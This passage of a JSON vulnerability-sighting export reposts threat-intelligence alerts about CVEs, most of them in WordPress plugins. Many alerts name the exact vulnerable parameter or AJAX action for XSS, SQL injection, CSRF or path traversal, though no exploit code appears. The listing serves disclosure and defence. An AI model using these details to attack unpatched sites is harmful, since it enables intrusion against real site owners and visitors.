https://wordpress.org/plugins/yogo-booking", "creation_timestamp": "2025-01-07T16:37:42.000000Z"}, {"uuid": "addbaf2a-21ca-477a-87c5-a6d81436b2bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/364", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12077\n\ud83d\udd39 Description: The Booking Calendar and Booking Calendar Pro plugins for WordPress are vulnerable to Reflected Cross-Site Scripting via the \u2018calendar_id\u2019 parameter in all versions up to, and including, 3.2.19 and 11.2.19 respectively, due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T07:22:33.559Z\n\ud83d\udccf Modified: 2025-01-07T07:22:33.559Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/81cc09ee-da3d-407d-82c0-542b56df5aed?source=cve\n2. https://plugins.trac.wordpress.org/browser/booking-calendar/tags/3.2.16/admin/views/Reservations.php#L528\n3. https://plugins.trac.wordpress.org/browser/booking-calendar/tags/3.2.16/admin/views/Reservations.php#L532\n4. https://plugins.trac.wordpress.org/changeset/3209851/", "creation_timestamp": "2025-01-07T07:36:56.000000Z"}, {"uuid": "da1b304b-3c6f-4a22-82b9-d212b6e8d21a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/893", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12731\n\ud83d\udd39 Description: The Aklamator INfeed WordPress plugin through 2.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-09T06:00:08.319Z\n\ud83d\udccf Modified: 2025-01-09T06:00:08.319Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e1c3754f-60e0-4a89-b4fc-89056dba3616/", "creation_timestamp": "2025-01-09T06:17:34.000000Z"}, {"uuid": "b12c0b3c-40f2-49a6-b5a9-53551d086e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/371", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12495\n\ud83d\udd39 Description: The Bootstrap Blocks for WP Editor v2 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gtb-bootstrap/column' block in all versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T06:40:58.027Z\n\ud83d\udccf Modified: 2025-01-07T06:40:58.027Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4e9e9afc-89a0-444d-ad5b-975e0f3c19d5?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213432%40wp-editor-bootstrap-blocks&new=3213432%40wp-editor-bootstrap-blocks&sfp_email=&sfph_mail=#file33", "creation_timestamp": "2025-01-07T07:37:37.000000Z"}, {"uuid": "79da656d-c0cf-4bff-b0db-ff60e0db3a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/385", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12719\n\ud83d\udd39 Description: The WordPress File Upload plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'wfu_ajax_action_read_subfolders' function in all versions up to, and including, 4.24.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform limited path traversal to view directories and subdirectories in WordPress. Files cannot be viewed.\n\ud83d\udccf Published: 2025-01-07T09:22:14.971Z\n\ud83d\udccf Modified: 2025-01-07T09:22:14.971Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/314ae0f5-8a4e-4bf3-9fc9-49f5b036b99e?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-file-upload/trunk/lib/wfu_ajaxactions.php#L849\n3. https://plugins.trac.wordpress.org/changeset/3217005/", "creation_timestamp": "2025-01-07T09:36:37.000000Z"}, {"uuid": "74534b97-e064-4835-a117-c679fe917654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/384", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12152\n\ud83d\udd39 Description: The MIPL WC Multisite Sync plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.1.5 via the 'mipl_wc_sync_download_log' action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n\ud83d\udccf Published: 2025-01-07T09:22:15.610Z\n\ud83d\udccf Modified: 2025-01-07T09:22:15.610Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/575d1e24-d23d-4589-bb71-f52efec1ac58?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3216574%40mipl-wc-multisite-sync&new=3216574%40mipl-wc-multisite-sync&sfp_email=&sfph_mail=\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215735%40mipl-wc-multisite-sync&new=3215735%40mipl-wc-multisite-sync&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T09:36:31.000000Z"}, {"uuid": "0d5fff2e-cf2e-410f-865d-b2c39d172bf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12033", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/393", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12033\n\ud83d\udd39 Description: The Jupiter X Core plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the sync_libraries() function in all versions up to, and including, 4.8.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to sync libraries\n\ud83d\udccf Published: 2025-01-07T11:11:11.179Z\n\ud83d\udccf Modified: 2025-01-07T11:11:11.179Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7e452aa0-bfb9-4805-b2ed-53464a4b5308?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3214798/jupiterx-core/trunk/includes/extensions/raven/includes/plugin.php", "creation_timestamp": "2025-01-07T11:37:23.000000Z"}, {"uuid": "798a9b0b-1633-4dad-8053-e53a2e6a69f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/389", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12569\n\ud83d\udd39 Description: Disclosure\nof sensitive information in a Milestone XProtect Device Pack driver\u2019s log file for third-party cameras, allows an attacker to read camera\ncredentials stored in the Recording Server under specific conditions.\n\ud83d\udccf Published: 2024-12-19T08:41:33.342Z\n\ud83d\udccf Modified: 2025-01-07T09:58:47.238Z\n\ud83d\udd17 References:\n1. https://supportcommunity.milestonesys.com/KBRedir?art=000067740&lang=en_US", "creation_timestamp": "2025-01-07T10:36:32.000000Z"}, {"uuid": "11f11efe-6edf-483c-bc50-5232fd8c7e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12316", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/394", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12316\n\ud83d\udd39 Description: The Jupiter X Core plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the export_popup_action() function in all versions up to, and including, 4.8.5. This makes it possible for unauthenticated attackers to export popup templates.\n\ud83d\udccf Published: 2025-01-07T11:11:10.560Z\n\ud83d\udccf Modified: 2025-01-07T11:11:10.560Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5db195c1-8917-4465-a5ca-21089afb0bc7?source=cve\n2. https://plugins.trac.wordpress.org/browser/jupiterx-core/trunk/includes/popups/class.php#L475\n3. https://plugins.trac.wordpress.org/changeset/3214798/jupiterx-core/trunk/includes/popups/class.php", "creation_timestamp": "2025-01-07T11:37:29.000000Z"}, {"uuid": "ab111a71-66b4-4b21-95a7-f199d3469aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12214", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/458", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12214\n\ud83d\udd39 Description: The WooCommerce HSS Extension for Streaming Video plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018videolink\u2019 parameter in all versions up to, and including, 3.31 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:21:57.210Z\n\ud83d\udccf Modified: 2025-01-07T16:25:22.605Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1d633f71-3b2b-4fe3-80f1-4c2dcc86313c?source=cve\n2. https://wordpress.org/plugins/woocommerce-hss-extension-for-streaming-video/#developers", "creation_timestamp": "2025-01-07T16:39:11.000000Z"}, {"uuid": "c5845de8-77bd-41e4-be07-cd19bd928126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12288", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/464", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12288\n\ud83d\udd39 Description: The Simple add pages or posts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.0. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:21:59.023Z\n\ud83d\udccf Modified: 2025-01-07T16:24:15.766Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/506f101c-ffec-415d-92dc-99cb7384af95?source=cve\n2. https://plugins.trac.wordpress.org/browser/simple-add-pages-or-posts/tags/2.0.0/form.php#L243\n3. https://wordpress.org/plugins/simple-add-pages-or-posts/#developers", "creation_timestamp": "2025-01-07T16:41:03.000000Z"}, {"uuid": "e35fcce0-ffe3-4ef5-89b8-25bd324b3aca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/427", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12738\n\ud83d\udd39 Description: The User Profile Builder \u2013 Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several user meta parameters in all versions up to, and including, 3.12.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page and clicks a link to show user meta.\n\ud83d\udccf Published: 2025-01-07T12:43:40.348Z\n\ud83d\udccf Modified: 2025-01-07T12:43:40.348Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/51b626e1-89c0-49b9-bfeb-32005e8e78d6?source=cve\n2. https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.12.8/features/email-confirmation/class-email-confirmation.php\n3. https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.12.8/features/email-confirmation/class-email-confirmation.php#L95\n4. https://plugins.trac.wordpress.org/changeset/3217544/", "creation_timestamp": "2025-01-07T13:37:50.000000Z"}, {"uuid": "25e20539-7181-491c-b0b0-1e120fc74a44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12131", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/426", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12131\n\ud83d\udd39 Description: The WP Job Portal \u2013 A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.5 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to submit resumes for other applicants when applying for jobs.\n\ud83d\udccf Published: 2025-01-07T12:43:40.934Z\n\ud83d\udccf Modified: 2025-01-07T12:43:40.934Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b4772ab0-41cd-4b35-bda9-d72e0fd7b7a5?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.2.6/modules/jobapply/model.php?rev=3216415", "creation_timestamp": "2025-01-07T13:37:04.000000Z"}, {"uuid": "684d75da-ad1d-4e2b-a6fc-65eaa2249416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12126", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/461", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12126\n\ud83d\udd39 Description: The SEO Keywords plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018google_error\u2019 parameter in all versions up to, and including, 1.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:21:57.953Z\n\ud83d\udccf Modified: 2025-01-07T16:24:55.459Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/325c2350-174b-4117-bacd-ae28bf3b16bc?source=cve\n2. https://wordpress.org/plugins/seo-keywords/#developers", "creation_timestamp": "2025-01-07T16:40:07.000000Z"}, {"uuid": "a2bbb985-4937-40e0-a625-e4e6ac2ce2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12157", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/462", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12157\n\ud83d\udd39 Description: The Popup \u2013 MailChimp, GetResponse and ActiveCampaign Intergrations plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter of the 'upc_delete_db_record' AJAX action in all versions up to, and including, 3.2.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-07T04:21:58.312Z\n\ud83d\udccf Modified: 2025-01-07T16:24:42.599Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3e63ce97-40af-493d-9376-231a99d9bd58?source=cve\n2. https://wordpress.org/plugins/ultimate-popup-creator/", "creation_timestamp": "2025-01-07T16:40:30.000000Z"}, {"uuid": "b5e56a9d-f692-4bff-a4c9-ac6052b0fe58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12290", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/471", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12290\n\ud83d\udd39 Description: The Infility Global plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018set_type\u2019 parameter in all versions up to, and including, 2.9.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:00.720Z\n\ud83d\udccf Modified: 2025-01-07T16:23:24.304Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6127576b-5ce2-4a3e-95de-8a2b3d90d3a0?source=cve\n2. https://wordpress.org/plugins/infility-global/#developers", "creation_timestamp": "2025-01-07T16:42:19.000000Z"}, {"uuid": "3eb7a867-d549-4e95-923c-f03fc5fe45c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12170", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/469", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12170\n\ud83d\udd39 Description: The ViewMedica 9 plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.15. This is due to missing or incorrect nonce validation on the 'Viewmedica-Admin' page. This makes it possible for unauthenticated attackers to inject arbitrary SQL queries via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:00.143Z\n\ud83d\udccf Modified: 2025-01-07T16:23:35.566Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/58209530-9e68-4d2c-a723-e6a164db7f46?source=cve\n2. https://wordpress.org/plugins/viewmedica/", "creation_timestamp": "2025-01-07T16:41:46.000000Z"}, {"uuid": "ed1009ea-90fb-4098-bed1-0d3bb0172de3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/665", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12585\n\ud83d\udd39 Description: The Property Hive WordPress plugin before 2.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-08T06:00:14.363Z\n\ud83d\udccf Modified: 2025-01-08T06:00:14.363Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/afecf367-d298-4f4c-8f47-4e19b3937d3e/", "creation_timestamp": "2025-01-08T06:38:06.000000Z"}, {"uuid": "6d07cb19-c602-4d63-b50e-9c7b7869a129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/526", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12430\n\ud83d\udd39 Description: An attacker who successfully exploited these vulnerabilities could cause enable command execution. A vulnerability exists in the AC500 V3 version mentioned. After successfully exploiting CVE-2024-12429 (directory traversal), a successfully authenticated attacker can inject arbitrary commands into a specifically crafted file, which then will be executed by root user.\nAll AC500 V3 products (PM5xxx) with firmware version earlier than 3.8.0 are affected by this vulnerability.\n\ud83d\udccf Published: 2025-01-07T16:28:41.952Z\n\ud83d\udccf Modified: 2025-01-07T17:56:26.206Z\n\ud83d\udd17 References:\n1. https://search.abb.com/library/Download.aspx?DocumentID=3ADR011377&LanguageCode=en&DocumentPartId=&Action=Launch", "creation_timestamp": "2025-01-07T18:40:32.000000Z"}, {"uuid": "aa453117-7718-4289-b330-6107c9d5b28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12430", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/526", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12430\n\ud83d\udd39 Description: An attacker who successfully exploited these vulnerabilities could cause enable command execution. A vulnerability exists in the AC500 V3 version mentioned. After successfully exploiting CVE-2024-12429 (directory traversal), a successfully authenticated attacker can inject arbitrary commands into a specifically crafted file, which then will be executed by root user.\nAll AC500 V3 products (PM5xxx) with firmware version earlier than 3.8.0 are affected by this vulnerability.\n\ud83d\udccf Published: 2025-01-07T16:28:41.952Z\n\ud83d\udccf Modified: 2025-01-07T17:56:26.206Z\n\ud83d\udd17 References:\n1. https://search.abb.com/library/Download.aspx?DocumentID=3ADR011377&LanguageCode=en&DocumentPartId=&Action=Launch", "creation_timestamp": "2025-01-07T18:40:32.000000Z"}, {"uuid": "a65de248-4f96-444d-bcd8-b41f52a15fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/934", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12515\n\ud83d\udd39 Description: The Muslim Prayer Time-Salah/Iqamah plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Masjid ID parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:11:02.567Z\n\ud83d\udccf Modified: 2025-01-09T11:11:02.567Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9e34b3df-ac18-4409-b8fe-b27c931f3aa3?source=cve\n2. https://wordpress.org/plugins/masjidal/", "creation_timestamp": "2025-01-09T12:15:56.000000Z"}, {"uuid": "87b70668-dfd7-4acf-90e6-12d4f1b5bbae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12206", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/946", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12206\n\ud83d\udd39 Description: The WordPress Header Builder Plugin \u2013 Pearl plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.8. This is due to missing or incorrect nonce validation on the stm_header_builder page. This makes it possible for unauthenticated attackers to delete arbitrary headers via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:57.161Z\n\ud83d\udccf Modified: 2025-01-09T11:10:57.161Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4de0d05f-2f51-4fea-9520-ff07a882d95e?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218670%40pearl-header-builder&new=3218670%40pearl-header-builder&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-09T12:16:33.000000Z"}, {"uuid": "fd216623-a395-42ee-bce7-9917b1c77538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12496", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/952", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12496\n\ud83d\udd39 Description: The Linear plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'linear_block_buy_commissions' shortcode in all versions up to, and including, 2.7.12 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:10:54.739Z\n\ud83d\udccf Modified: 2025-01-09T11:10:54.739Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/25d6ee47-2a7b-486e-856b-336964b387ae?source=cve\n2. https://plugins.trac.wordpress.org/browser/linear/trunk/blocks/buy-commissions/buy-commissions.php#L213\n3. https://wordpress.org/plugins/linear", "creation_timestamp": "2025-01-09T12:17:02.000000Z"}, {"uuid": "37e5fff0-b726-4ff9-80d2-edee712b6a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12249", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/951", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12249\n\ud83d\udd39 Description: The GS Insever Portfolio plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_settings() function in all versions up to, and including, 1.4.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's CSS settings.\n\ud83d\udccf Published: 2025-01-09T11:10:55.369Z\n\ud83d\udccf Modified: 2025-01-09T11:10:55.369Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/36f3e9be-9a4e-458d-92b3-687afc44696a?source=cve\n2. https://plugins.trac.wordpress.org/browser/gs-instagram-portfolio/tags/1.4.5/admin/includes/Ajax.php\n3. https://plugins.trac.wordpress.org/browser/gs-instagram-portfolio/tags/1.4.5/admin/Backend_Builder.php", "creation_timestamp": "2025-01-09T12:16:56.000000Z"}, {"uuid": "8ccfb062-fc2c-4e1b-aea6-5f847e60ff98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12112", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/621", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12112\n\ud83d\udd39 Description: The Easy Form Builder \u2013 WordPress plugin form builder: contact form, survey form, payment form, and custom form builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter of the 'add_form_Emsfb' AJAX action in all versions up to, and including, 3.8.8 due to insufficient input sanitization and output escaping and missing authorization checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T03:18:11.056Z\n\ud83d\udccf Modified: 2025-01-08T03:18:11.056Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a71e72dd-574c-41fc-a000-7a4cf658f3d7?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3215764/easy-form-builder/trunk/includes/admin/class-Emsfb-create.php", "creation_timestamp": "2025-01-08T03:39:11.000000Z"}, {"uuid": "d293921f-d6b7-4d48-b26f-71f56abf00c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12521", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/624", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12521\n\ud83d\udd39 Description: The Slotti Ajanvaraus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'slotti-embed-ga' shortcode in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T03:18:09.528Z\n\ud83d\udccf Modified: 